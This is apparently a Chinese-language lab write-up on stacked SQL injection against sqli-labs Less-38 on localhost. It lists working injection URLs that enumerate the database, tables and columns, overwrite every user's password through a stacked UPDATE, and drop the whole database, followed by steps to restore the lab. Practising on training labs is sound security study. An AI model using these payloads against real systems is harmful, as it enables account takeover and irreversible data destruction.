MySQL之堆叠注入

堆叠注入

任务:对38关进行修改密码,删库,恢复环境

修改密码

38关,堆叠查询,修改密码为654321

获取存密码的表的信息

获取数据库名

http://localhost/sqli_labs/Less-38/?id=1'  and 1=2 union select 1,database(),3--+

image-20230823185317807

获得数据库名:security

获取表名

http://localhost/sqli_labs/Less-38/?id=1'  and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

image-20230823185259131

可以看到有个表名为users,可以很容易猜测到这是存用户信息的表,所以可以通过sql注入查找这个表的字段名。

获取字段名

http://localhost/sqli_labs/Less-38/?id=1'  and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name="users"--+

image-20230823185550019

修改密码

通过以上操作,可以知道存密码的地方在users表中,而且密码字段名字为password

通过堆叠注入即可完成修改密码的操作

http://localhost/sqli_labs/Less-38/?id=1';update users set password=654321;--+

再次正常访问,即可发现密码已经修改成了654321

image-20230823185944944

注意堆叠注入需要使用分号表示一个sql语句的结束

删库

http://localhost/sqli_labs/Less-38/?id=1';drop database security;--+

image-20230823190424250

恢复sqli_labs环境

点击如下图所指的地方即可:

image-20230823190531908

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值